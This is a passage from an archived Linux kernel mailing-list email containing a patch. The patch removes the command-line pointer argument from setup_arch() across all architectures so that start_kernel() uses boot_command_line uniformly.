        id S1751750AbeDFLa3 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 6 Apr 2018 07:30:29 -0400
X-Greylist: delayed 928 seconds by postgrey-1.27 at vger.kernel.org; Fri, 06 Apr 2018 07:30:21 EDT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
        s=s110527; h=From:Subject:Date:Message-Id:MIME-Version; bh=aGj/u
        hspmOg2sq3Tv8TMFDGlD5HLk5yyhR25/Lr4k1s=; b=jOfKt2zh2WVTIPjLL7Szk
        rLIAFvqZAxMcc8UIOAzwKKHofSKn3/sJRQtsa+ZdUk8/gUUWK6Pb6iE6ygJez4EL
        eW01z9QoerWqmaWbqV50j+Ek1eTpMSw/Z5J5A6vi8Go1tzhnIocToc7bEBimoGGx
        ePgaDvRNBC4sZQXqGNDBJ4=
Original-Received: from localhost.localdomain (unknown [180.157.30.106])
        by smtp5 (Coremail) with SMTP id D9GowAB3nBkbVsdaVm9DCw--.6381S2;
        Fri, 06 Apr 2018 19:12:29 +0800 (CST)
X-Mailer: git-send-email 2.14.1
X-CM-TRANSID: D9GowAB3nBkbVsdaVm9DCw--.6381S2
X-Coremail-Antispam: 1Uf129KBjvAXoWftF4kJFW5Xr1kWw4kuw4xXrb_yoW5GryxWo
        Z8GF1jkr4rWrnayrn8CF1YgFWrXrZIkws0vaykJFWFgr17AF1UAr40gay7uFy5t34rKF9r
        u3Zrua9rC34kJan5n29KB7ZKAUJUUUUU529EdanIXcx71UUUUU7v73VFW2AGmfu7bjvjm3
        AaLaJ3UbIYCTnIWIevJa73UjIFyTuYvjxU-VbyDUUUU
X-Originating-IP: [180.157.30.106]
X-CM-SenderInfo: pfxj5zr16rljoofrz/1tbiRR0g41l9jhviOAAAsw
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2733897 gmane.linux.ports.alpha:4930 gmane.linux.kernel.arc:3740 gmane.linux.ports.arm.kernel:642700 gmane.linux.ports.hexagon:1630 gmane.linux.ports.ia64:28798 gmane.linux.ports.mips.general:64363 gmane.linux.ports.parisc:28472 gmane.linux.ports.ppc64.devel:155818 gmane.linux.ports.sh.devel:56799 gmane.linux.ports.sparc:27533 gmane.linux.uml.devel:16759 gmane.linux.uml.user:15427
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2733897>

From: yuan linyu <Linyu.Yuan@alcatel-sbell.com.cn>

then all arch boot parameter handled in the same way in start_kernel()

Signed-off-by: yuan linyu <Linyu.Yuan@alcatel-sbell.com.cn>
---
 arch/alpha/kernel/setup.c          |  4 +---
 arch/arc/kernel/setup.c            |  5 +----
 arch/arm/kernel/setup.c            |  7 +------
 arch/arm64/kernel/setup.c          |  4 +---
 arch/c6x/kernel/setup.c            |  5 +----
 arch/h8300/kernel/setup.c          |  3 +--
 arch/hexagon/kernel/setup.c        | 16 +---------------
 arch/ia64/kernel/setup.c           | 15 ++++++++-------
 arch/m68k/kernel/setup_mm.c        |  5 ++---
 arch/m68k/kernel/setup_no.c        |  3 +--
 arch/microblaze/kernel/setup.c     |  4 +---
 arch/mips/kernel/setup.c           | 11 +++--------
 arch/nds32/kernel/setup.c          |  3 +--
 arch/nios2/kernel/setup.c          |  5 +----
 arch/openrisc/kernel/setup.c       |  4 +---
 arch/parisc/kernel/setup.c         |  9 ++-------
 arch/powerpc/kernel/setup-common.c |  4 +---
 arch/riscv/kernel/setup.c          |  4 +---
 arch/s390/kernel/setup.c           |  6 +-----
 arch/sh/kernel/setup.c             |  7 ++++---
 arch/sparc/kernel/setup_32.c       |  9 +++++----
 arch/sparc/kernel/setup_64.c       |  8 ++++----
 arch/um/kernel/um_arch.c           |  3 +--
 arch/unicore32/kernel/setup.c      |  8 +-------
 arch/x86/kernel/setup.c            |  6 +-----
 arch/xtensa/kernel/setup.c         |  9 +++++----
 include/linux/init.h               |  2 +-
 init/main.c                        | 14 +++++++-------
 28 files changed, 59 insertions(+), 124 deletions(-)

diff --git a/arch/alpha/kernel/setup.c b/arch/alpha/kernel/setup.c
index 5576f7646fb6..c74675cf7129 100644
--- a/arch/alpha/kernel/setup.c
+++ b/arch/alpha/kernel/setup.c
@@ -505,8 +505,7 @@ register_cpus(void)
 
 arch_initcall(register_cpus);
 
-void __init
-setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	extern char _end[];
 
@@ -566,7 +565,6 @@ setup_arch(char **cmdline_p)
 		strlcpy(command_line, COMMAND_LINE, sizeof command_line);
 	}
 	strcpy(boot_command_line, command_line);
-	*cmdline_p = command_line;
 
 	/* 
 	 * Process command-line arguments.
diff --git a/arch/arc/kernel/setup.c b/arch/arc/kernel/setup.c
index b2cae79a25d7..9cfdcf42bf28 100644
--- a/arch/arc/kernel/setup.c
+++ b/arch/arc/kernel/setup.c
@@ -456,7 +456,7 @@ static inline int is_kernel(unsigned long addr)
 	return 0;
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 #ifdef CONFIG_ARC_UBOOT_SUPPORT
 	/* make sure that uboot passed pointer to cmdline/dtb is valid */
@@ -487,9 +487,6 @@ void __init setup_arch(char **cmdline_p)
 		}
 	}
 
-	/* Save unparsed command line copy for /proc/cmdline */
-	*cmdline_p = boot_command_line;
-
 	/* To force early parsing of things like mem=xxx */
 	parse_early_param();
 
diff --git a/arch/arm/kernel/setup.c b/arch/arm/kernel/setup.c
index fc40a2b40595..1025e3a37689 100644
--- a/arch/arm/kernel/setup.c
+++ b/arch/arm/kernel/setup.c
@@ -153,7 +153,6 @@ EXPORT_SYMBOL(elf_platform);
 
 static const char *cpu_name;
 static const char *machine_name;
-static char __initdata cmd_line[COMMAND_LINE_SIZE];
 const struct machine_desc *machine_desc __initdata;
 
 static union { char c[4]; unsigned long l; } endian_test __initdata = { { 'l', '?', '?', 'b' } };
@@ -1061,7 +1060,7 @@ void __init hyp_mode_check(void)
 #endif
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	const struct machine_desc *mdesc;
 
@@ -1091,10 +1090,6 @@ void __init setup_arch(char **cmdline_p)
 	init_mm.end_data   = (unsigned long) _edata;
 	init_mm.brk	   = (unsigned long) _end;
 
-	/* populate cmd_line too for later use, preserving boot_command_line */
-	strlcpy(cmd_line, boot_command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = cmd_line;
-
 	early_fixmap_init();
 	early_ioremap_init();
 
diff --git a/arch/arm64/kernel/setup.c b/arch/arm64/kernel/setup.c
index 30ad2f085d1f..c7ba4d32e7f7 100644
--- a/arch/arm64/kernel/setup.c
+++ b/arch/arm64/kernel/setup.c
@@ -243,15 +243,13 @@ static void __init request_standard_resources(void)
 
 u64 __cpu_logical_map[NR_CPUS] = { [0 ... NR_CPUS-1] = INVALID_HWID };
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	init_mm.start_code = (unsigned long) _text;
 	init_mm.end_code   = (unsigned long) _etext;
 	init_mm.end_data   = (unsigned long) _edata;
 	init_mm.brk	   = (unsigned long) _end;
 
-	*cmdline_p = boot_command_line;
-
 	early_fixmap_init();
 	early_ioremap_init();
 
diff --git a/arch/c6x/kernel/setup.c b/arch/c6x/kernel/setup.c
index 786e36e2f61d..012c8e746889 100644
--- a/arch/c6x/kernel/setup.c
+++ b/arch/c6x/kernel/setup.c
@@ -294,16 +294,13 @@ notrace void __init machine_init(unsigned long dt_ptr)
 	parse_early_param();
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	int bootmap_size;
 	struct memblock_region *reg;
 
 	printk(KERN_INFO "Initializing kernel\n");
 
-	/* Initialize command line */
-	*cmdline_p = boot_command_line;
-
 	memory_end = ram_end;
 	memory_end &= ~(PAGE_SIZE - 1);
 
diff --git a/arch/h8300/kernel/setup.c b/arch/h8300/kernel/setup.c
index a4d0470c10a9..bb54c2087f13 100644
--- a/arch/h8300/kernel/setup.c
+++ b/arch/h8300/kernel/setup.c
@@ -117,7 +117,7 @@ static void __init bootmem_init(void)
 	}
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	unflatten_and_copy_device_tree();
 
@@ -131,7 +131,6 @@ void __init setup_arch(char **cmdline_p)
 
 	if (*command_line)
 		strcpy(boot_command_line, command_line);
-	*cmdline_p = boot_command_line;
 
 	parse_early_param();
 
diff --git a/arch/hexagon/kernel/setup.c b/arch/hexagon/kernel/setup.c
index 6981949f5df3..a0348dfad265 100644
--- a/arch/hexagon/kernel/setup.c
+++ b/arch/hexagon/kernel/setup.c
@@ -34,7 +34,6 @@
 #include <asm/vm_mmu.h>
 #include <asm/time.h>
 
-char cmd_line[COMMAND_LINE_SIZE];
 static char default_command_line[COMMAND_LINE_SIZE] __initdata = CONFIG_CMDLINE;
 
 int on_simulator;
@@ -44,12 +43,7 @@ void calibrate_delay(void)
 	loops_per_jiffy = thread_freq_mhz * 1000000 / HZ;
 }
 
-/*
- * setup_arch -  high level architectural setup routine
- * @cmdline_p: pointer to pointer to command-line arguments
- */
-
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	char *p = &external_cmdline_buffer;
 
@@ -84,14 +78,6 @@ void __init setup_arch(char **cmdline_p)
 		strlcpy(boot_command_line, default_command_line,
 			COMMAND_LINE_SIZE);
 
-	/*
-	 * boot_command_line and the value set up by setup_arch
-	 * are both picked up by the init code. If no reason to
-	 * make them different, pass the same pointer back.
-	 */
-	strlcpy(cmd_line, boot_command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = cmd_line;
-
 	parse_early_param();
 
 	setup_arch_memory();
diff --git a/arch/ia64/kernel/setup.c b/arch/ia64/kernel/setup.c
index dee56bcb993d..75196264dd4e 100644
--- a/arch/ia64/kernel/setup.c
+++ b/arch/ia64/kernel/setup.c
@@ -527,15 +527,16 @@ int __init reserve_elfcorehdr(u64 *start, u64 *end)
 
 #endif /* CONFIG_PROC_VMCORE */
 
-void __init
-setup_arch (char **cmdline_p)
+void __init setup_arch (void)
 {
+	char *cmdline_p;
+
 	unw_init();
 
 	ia64_patch_vtop((u64) __start___vtop_patchlist, (u64) __end___vtop_patchlist);
 
-	*cmdline_p = __va(ia64_boot_param->command_line);
-	strlcpy(boot_command_line, *cmdline_p, COMMAND_LINE_SIZE);
+	cmdline_p = __va(ia64_boot_param->command_line);
+	strlcpy(boot_command_line, cmdline_p, COMMAND_LINE_SIZE);
 
 	efi_init();
 	io_port_init();
@@ -546,12 +547,12 @@ setup_arch (char **cmdline_p)
 	 * that ia64_mv is initialised before any command line
 	 * settings may cause console setup to occur
 	 */
-	machvec_init_from_cmdline(*cmdline_p);
+	machvec_init_from_cmdline(cmdline_p);
 #endif
 
 	parse_early_param();
 
-	if (early_console_setup(*cmdline_p) == 0)
+	if (early_console_setup(cmdline_p) == 0)
 		mark_bsp_online();
 
 #ifdef CONFIG_ACPI
@@ -618,7 +619,7 @@ setup_arch (char **cmdline_p)
 	if (!nomca)
 		ia64_mca_init();
 
-	platform_setup(cmdline_p);
+	platform_setup(&cmdline_p);
 #ifndef CONFIG_IA64_HP_SIM
 	check_sal_cache_flush();
 #endif
diff --git a/arch/m68k/kernel/setup_mm.c b/arch/m68k/kernel/setup_mm.c
index dd25bfc22fb4..38ccaf3e0274 100644
--- a/arch/m68k/kernel/setup_mm.c
+++ b/arch/m68k/kernel/setup_mm.c
@@ -222,7 +222,7 @@ static void __init m68k_parse_bootinfo(const struct bi_record *record)
 #endif
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 #ifndef CONFIG_SUN3
 	int i;
@@ -272,8 +272,7 @@ void __init setup_arch(char **cmdline_p)
 	m68k_command_line[CL_SIZE - 1] = 0;
 #endif /* CONFIG_BOOTPARAM */
 	process_uboot_commandline(&m68k_command_line[0], CL_SIZE);
-	*cmdline_p = m68k_command_line;
-	memcpy(boot_command_line, *cmdline_p, CL_SIZE);
+	memcpy(boot_command_line, m68k_command_line, CL_SIZE);
 
 	parse_early_param();
 
diff --git a/arch/m68k/kernel/setup_no.c b/arch/m68k/kernel/setup_no.c
index a98af1018201..8b244d4ea603 100644
--- a/arch/m68k/kernel/setup_no.c
+++ b/arch/m68k/kernel/setup_no.c
@@ -84,7 +84,7 @@ void (*mach_power_off)(void);
 #define	CPU_INSTR_PER_JIFFY	16
 #endif
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	int bootmap_size;
 
@@ -143,7 +143,6 @@ void __init setup_arch(char **cmdline_p)
 		 __bss_stop, memory_start, memory_start, memory_end);
 
 	/* Keep a copy of command line */
-	*cmdline_p = &command_line[0];
 	memcpy(boot_command_line, command_line, COMMAND_LINE_SIZE);
 	boot_command_line[COMMAND_LINE_SIZE-1] = 0;
 
diff --git a/arch/microblaze/kernel/setup.c b/arch/microblaze/kernel/setup.c
index be98ffe28ca8..632b7546effc 100644
--- a/arch/microblaze/kernel/setup.c
+++ b/arch/microblaze/kernel/setup.c
@@ -50,10 +50,8 @@ unsigned int boot_cpuid;
  */
 char cmd_line[COMMAND_LINE_SIZE] __attribute__ ((section(".data")));
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
-	*cmdline_p = boot_command_line;
-
 	console_verbose();
 
 	unflatten_device_tree();
diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
index 5f8b0a9e30b3..2bff67be95d6 100644
--- a/arch/mips/kernel/setup.c
+++ b/arch/mips/kernel/setup.c
@@ -64,7 +64,6 @@ EXPORT_SYMBOL(mips_machtype);
 
 struct boot_mem_map boot_mem_map;
 
-static char __initdata command_line[COMMAND_LINE_SIZE];
 char __initdata arcs_cmdline[COMMAND_LINE_SIZE];
 
 #ifdef CONFIG_CMDLINE_BOOL
@@ -829,7 +828,7 @@ static void __init request_crashkernel(struct resource *res)
 #define BUILTIN_EXTEND_WITH_PROM	\
 	IS_ENABLED(CONFIG_MIPS_CMDLINE_BUILTIN_EXTEND)
 
-static void __init arch_mem_init(char **cmdline_p)
+static void __init arch_mem_init(void)
 {
 	struct memblock_region *reg;
 	extern void plat_mem_setup(void);
@@ -881,10 +880,6 @@ static void __init arch_mem_init(char **cmdline_p)
 	pr_info("Determined physical RAM map:\n");
 	print_memory_map();
 
-	strlcpy(command_line, boot_command_line, COMMAND_LINE_SIZE);
-
-	*cmdline_p = command_line;
-
 	parse_early_param();
 
 	if (usermem) {
@@ -1002,7 +997,7 @@ static void __init prefill_possible_map(void)
 static inline void prefill_possible_map(void) {}
 #endif
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	cpu_probe();
 	mips_cm_probe();
@@ -1023,7 +1018,7 @@ void __init setup_arch(char **cmdline_p)
 #endif
 #endif
 
-	arch_mem_init(cmdline_p);
+	arch_mem_init();
 
 	resource_init();
 	plat_smp_setup();
diff --git a/arch/nds32/kernel/setup.c b/arch/nds32/kernel/setup.c
index ba910e9e4ecb..7df72753dd9a 100644
--- a/arch/nds32/kernel/setup.c
+++ b/arch/nds32/kernel/setup.c
@@ -276,7 +276,7 @@ static void __init setup_memory(void)
 	memblock_dump_all();
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	early_init_devtree( __dtb_start);
 
@@ -303,7 +303,6 @@ void __init setup_arch(char **cmdline_p)
 			conswitchp = &dummy_con;
 	}
 
-	*cmdline_p = boot_command_line;
 	early_trap_init();
 }
 
diff --git a/arch/nios2/kernel/setup.c b/arch/nios2/kernel/setup.c
index 926a02b17b31..e8d140f1d40c 100644
--- a/arch/nios2/kernel/setup.c
+++ b/arch/nios2/kernel/setup.c
@@ -141,7 +141,7 @@ asmlinkage void __init nios2_boot_init(unsigned r4, unsigned r5, unsigned r6,
 	parse_early_param();
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	int bootmap_size;
 
@@ -156,9 +156,6 @@ void __init setup_arch(char **cmdline_p)
 	init_mm.brk = (unsigned long) _end;
 	init_task.thread.kregs = &fake_regs;
 
-	/* Keep a copy of command line */
-	*cmdline_p = boot_command_line;
-
 	min_low_pfn = PFN_UP(memory_start);
 	max_low_pfn = PFN_DOWN(memory_end);
 	max_mapnr = max_low_pfn;
diff --git a/arch/openrisc/kernel/setup.c b/arch/openrisc/kernel/setup.c
index 9d28ab14d139..d73e1faa88d1 100644
--- a/arch/openrisc/kernel/setup.c
+++ b/arch/openrisc/kernel/setup.c
@@ -283,7 +283,7 @@ void calibrate_delay(void)
 		(loops_per_jiffy / (5000 / HZ)) % 100, loops_per_jiffy);
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	unflatten_and_copy_device_tree();
 
@@ -320,8 +320,6 @@ void __init setup_arch(char **cmdline_p)
 		conswitchp = &dummy_con;
 #endif
 
-	*cmdline_p = boot_command_line;
-
 	printk(KERN_INFO "OpenRISC Linux -- http://openrisc.io\n");
 }
 
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 0e9675f857a5..7756a6110b83 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -51,8 +51,6 @@
 #include <asm/unwind.h>
 #include <asm/smp.h>
 
-static char __initdata command_line[COMMAND_LINE_SIZE];
-
 /* Intended for ccio/sba/cpu statistics under /proc/bus/{runway|gsc} */
 struct proc_dir_entry * proc_runway_root __read_mostly = NULL;
 struct proc_dir_entry * proc_gsc_root __read_mostly = NULL;
@@ -63,7 +61,7 @@ int parisc_bus_is_phys __read_mostly = 1;	/* Assume no IOMMU is present */
 EXPORT_SYMBOL(parisc_bus_is_phys);
 #endif
 
-void __init setup_cmdline(char **cmdline_p)
+void __init setup_cmdline(void)
 {
 	extern unsigned int boot_args[];
 
@@ -85,9 +83,6 @@ void __init setup_cmdline(char **cmdline_p)
 		}
 #endif
 	}
-
-	strcpy(command_line, boot_command_line);
-	*cmdline_p = command_line;
 }
 
 #ifdef CONFIG_PA11
@@ -119,7 +114,7 @@ void __init dma_ops_init(void)
 
 extern void collect_boot_cpu_data(void);
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 #ifdef CONFIG_64BIT
 	extern int parisc_narrow_firmware;
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index d73ec518ef80..b88ce4afaafd 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -839,10 +839,8 @@ static __init void print_system_info(void)
  * Called into from start_kernel this initializes memblock, which is used
  * to manage page allocation until mem_init is called.
  */
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
-	*cmdline_p = boot_command_line;
-
 	/* Set a half-reasonable default so udelay does something sensible */
 	loops_per_jiffy = 500000000 / HZ;
 
diff --git a/arch/riscv/kernel/setup.c b/arch/riscv/kernel/setup.c
index c11f40c1b2a8..dee21fd2f5c2 100644
--- a/arch/riscv/kernel/setup.c
+++ b/arch/riscv/kernel/setup.c
@@ -192,10 +192,8 @@ static void __init setup_bootmem(void)
 	}
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
-	*cmdline_p = boot_command_line;
-
 	parse_early_param();
 
 	init_mm.start_code = (unsigned long) _stext;
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index a6a91f01a17a..6addb5afc59e 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -867,7 +867,7 @@ static void __init setup_task_size(void)
  * was printed.
  */
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
         /*
          * print what head.S has found out about the machine
@@ -880,10 +880,6 @@ void __init setup_arch(char **cmdline_p)
 	else if (MACHINE_IS_LPAR)
 		pr_info("Linux is running natively in 64-bit mode\n");
 
-	/* Have one command line that is parsed and saved in /proc/cmdline */
-	/* boot_command_line has been already set up in early.c */
-	*cmdline_p = boot_command_line;
-
         ROOT_DEV = Root_RAM0;
 
 	/* Is init_mm really needed? */
diff --git a/arch/sh/kernel/setup.c b/arch/sh/kernel/setup.c
index b95c411d0333..c46646f0c3c5 100644
--- a/arch/sh/kernel/setup.c
+++ b/arch/sh/kernel/setup.c
@@ -270,8 +270,10 @@ void __ref sh_fdt_init(phys_addr_t dt_phys)
 }
 #endif
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
+	char *cmdline_p = command_line;
+
 	enable_mmu();
 
 	ROOT_DEV = old_decode_dev(ORIG_ROOT_DEV);
@@ -319,7 +321,6 @@ void __init setup_arch(char **cmdline_p)
 
 	/* Save unparsed command line copy for /proc/cmdline */
 	memcpy(boot_command_line, command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = command_line;
 
 	parse_early_param();
 
@@ -338,7 +339,7 @@ void __init setup_arch(char **cmdline_p)
 
 	/* Perform the machine specific initialisation */
 	if (likely(sh_mv.mv_setup))
-		sh_mv.mv_setup(cmdline_p);
+		sh_mv.mv_setup(&cmdline_p);
 
 	plat_smp_setup();
 }
diff --git a/arch/sparc/kernel/setup_32.c b/arch/sparc/kernel/setup_32.c
index 13664c377196..5bced97cc5f8 100644
--- a/arch/sparc/kernel/setup_32.c
+++ b/arch/sparc/kernel/setup_32.c
@@ -294,19 +294,20 @@ void __init sparc32_start_kernel(struct linux_romvec *rp)
 	start_kernel();
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	int i;
+	char *cmdline_p;
 	unsigned long highest_paddr;
 
 	sparc_ttable = &trapbase;
 
 	/* Initialize PROM console and command line. */
-	*cmdline_p = prom_getbootargs();
-	strlcpy(boot_command_line, *cmdline_p, COMMAND_LINE_SIZE);
+	cmdline_p = prom_getbootargs();
+	strlcpy(boot_command_line, cmdline_p, COMMAND_LINE_SIZE);
 	parse_early_param();
 
-	boot_flags_init(*cmdline_p);
+	boot_flags_init(cmdline_p);
 
 	register_console(&prom_early_console);
 
diff --git a/arch/sparc/kernel/setup_64.c b/arch/sparc/kernel/setup_64.c
index 7944b3ca216a..9f6edffa6a4b 100644
--- a/arch/sparc/kernel/setup_64.c
+++ b/arch/sparc/kernel/setup_64.c
@@ -630,14 +630,14 @@ void __init alloc_irqstack_bootmem(void)
 	}
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	/* Initialize PROM console and command line. */
-	*cmdline_p = prom_getbootargs();
-	strlcpy(boot_command_line, *cmdline_p, COMMAND_LINE_SIZE);
+	char *cmdline_p = prom_getbootargs();
+	strlcpy(boot_command_line, cmdline_p, COMMAND_LINE_SIZE);
 	parse_early_param();
 
-	boot_flags_init(*cmdline_p);
+	boot_flags_init(cmdline_p);
 #ifdef CONFIG_EARLYFB
 	if (btext_find_display())
 #endif
diff --git a/arch/um/kernel/um_arch.c b/arch/um/kernel/um_arch.c
index a818ccef30ca..73d62cf96149 100644
--- a/arch/um/kernel/um_arch.c
+++ b/arch/um/kernel/um_arch.c
@@ -339,7 +339,7 @@ int __init __weak read_initrd(void)
 	return 0;
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	stack_protections((unsigned long) &init_thread_info);
 	setup_physmem(uml_physmem, uml_reserved, physmem_size, highmem);
@@ -348,7 +348,6 @@ void __init setup_arch(char **cmdline_p)
 
 	paging_init();
 	strlcpy(boot_command_line, command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = command_line;
 	setup_hostinfo(host_info, sizeof host_info);
 }
 
diff --git a/arch/unicore32/kernel/setup.c b/arch/unicore32/kernel/setup.c
index c2bffa5614a4..c13a07eeed0b 100644
--- a/arch/unicore32/kernel/setup.c
+++ b/arch/unicore32/kernel/setup.c
@@ -60,8 +60,6 @@ struct screen_info screen_info;
 char elf_platform[ELF_PLATFORM_SIZE];
 EXPORT_SYMBOL(elf_platform);
 
-static char __initdata cmd_line[COMMAND_LINE_SIZE];
-
 static char default_command_line[COMMAND_LINE_SIZE] __initdata = CONFIG_CMDLINE;
 
 /*
@@ -235,7 +233,7 @@ static int __init customize_machine(void)
 }
 arch_initcall(customize_machine);
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	char *from = default_command_line;
 
@@ -249,10 +247,6 @@ void __init setup_arch(char **cmdline_p)
 	/* parse_early_param needs a boot_command_line */
 	strlcpy(boot_command_line, from, COMMAND_LINE_SIZE);
 
-	/* populate cmd_line too for later use, preserving boot_command_line */
-	strlcpy(cmd_line, boot_command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = cmd_line;
-
 	parse_early_param();
 
 	uc32_memblock_init(&meminfo);
diff --git a/arch/x86/kernel/setup.c b/arch/x86/kernel/setup.c
index 6285697b6e56..6e3347dde550 100644
--- a/arch/x86/kernel/setup.c
+++ b/arch/x86/kernel/setup.c
@@ -219,7 +219,6 @@ unsigned long saved_video_mode;
 #define RAMDISK_PROMPT_FLAG		0x8000
 #define RAMDISK_LOAD_FLAG		0x4000
 
-static char __initdata command_line[COMMAND_LINE_SIZE];
 #ifdef CONFIG_CMDLINE_BOOL
 static char __initdata builtin_cmdline[COMMAND_LINE_SIZE] = CONFIG_CMDLINE;
 #endif
@@ -812,7 +811,7 @@ dump_kernel_offset(struct notifier_block *self, unsigned long v, void *p)
  * Note: On x86_64, fixmaps are ready for use even before this is called.
  */
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	memblock_reserve(__pa_symbol(_text),
 			 (unsigned long)__bss_stop - (unsigned long)_text);
@@ -933,9 +932,6 @@ void __init setup_arch(char **cmdline_p)
 #endif
 #endif
 
-	strlcpy(command_line, boot_command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = command_line;
-
 	/*
 	 * x86_configure_nx() is called before parse_early_param() to detect
 	 * whether hardware doesn't support NX (so that the early EHCI debug
diff --git a/arch/xtensa/kernel/setup.c b/arch/xtensa/kernel/setup.c
index 686a27444bba..0409fa85bfdd 100644
--- a/arch/xtensa/kernel/setup.c
+++ b/arch/xtensa/kernel/setup.c
@@ -309,8 +309,10 @@ static inline int mem_reserve(unsigned long start, unsigned long end)
 	return memblock_reserve(start, end - start);
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
+	char *cmdline_p = command_line;
+
 	pr_info("config ID: %08x:%08x\n",
 		get_sr(SREG_EPC), get_sr(SREG_EXCSAVE));
 	if (get_sr(SREG_EPC) != XCHAL_HW_CONFIGID0 ||
@@ -318,9 +320,8 @@ void __init setup_arch(char **cmdline_p)
 		pr_info("built for config ID: %08x:%08x\n",
 			XCHAL_HW_CONFIGID0, XCHAL_HW_CONFIGID1);
 
-	*cmdline_p = command_line;
-	platform_setup(cmdline_p);
-	strlcpy(boot_command_line, *cmdline_p, COMMAND_LINE_SIZE);
+	platform_setup(&cmdline_p);
+	strlcpy(boot_command_line, cmdline_p, COMMAND_LINE_SIZE);
 
 	/* Reserve some memory regions */
 
diff --git a/include/linux/init.h b/include/linux/init.h
index bc27cf03c41e..206b98d77cb4 100644
--- a/include/linux/init.h
+++ b/include/linux/init.h
@@ -129,7 +129,7 @@ extern char *saved_command_line;
 extern unsigned int reset_devices;
 
 /* used by init/main.c */
-void setup_arch(char **);
+void setup_arch(void);
 void prepare_namespace(void);
 void __init load_default_modules(void);
 int __init init_rootfs(void);
diff --git a/init/main.c b/init/main.c
index e4a3160991ea..8df5917867b1 100644
--- a/init/main.c
+++ b/init/main.c
@@ -367,15 +367,16 @@ static inline void smp_prepare_cpus(unsigned int maxcpus) { }
  * parsing is performed in place, and we should allow a component to
  * store reference of name/value for future reference.
  */
-static void __init setup_command_line(char *command_line)
+static void __init setup_command_line(void)
 {
 	saved_command_line =
 		memblock_virt_alloc(strlen(boot_command_line) + 1, 0);
 	initcall_command_line =
 		memblock_virt_alloc(strlen(boot_command_line) + 1, 0);
-	static_command_line = memblock_virt_alloc(strlen(command_line) + 1, 0);
+	static_command_line =
+		memblock_virt_alloc(strlen(boot_command_line) + 1, 0);
 	strcpy(saved_command_line, boot_command_line);
-	strcpy(static_command_line, command_line);
+	strcpy(static_command_line, boot_command_line);
 }
 
 /*
@@ -514,7 +515,6 @@ static void __init mm_init(void)
 
 asmlinkage __visible void __init start_kernel(void)
 {
-	char *command_line;
 	char *after_dashes;
 
 	set_task_stack_end_magic(&init_task);
@@ -533,16 +533,16 @@ asmlinkage __visible void __init start_kernel(void)
 	boot_cpu_init();
 	page_address_init();
 	pr_notice("%s", linux_banner);
-	setup_arch(&command_line);
+	setup_arch();
 	/*
 	 * Set up the the initial canary and entropy after arch
 	 * and after adding latent and command line entropy.
 	 */
 	add_latent_entropy();
-	add_device_randomness(command_line, strlen(command_line));
+	add_device_randomness(boot_command_line, strlen(boot_command_line));
 	boot_init_stack_canary();
 	mm_init_cpumask(&init_mm);
-	setup_command_line(command_line);
+	setup_command_line();
 	setup_nr_cpu_ids();
 	setup_per_cpu_areas();
 	boot_cpu_state_init();
-- 
2.14.1




From - Thu Nov 08 21:41:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: yuan linyu <cugyly@163.com>
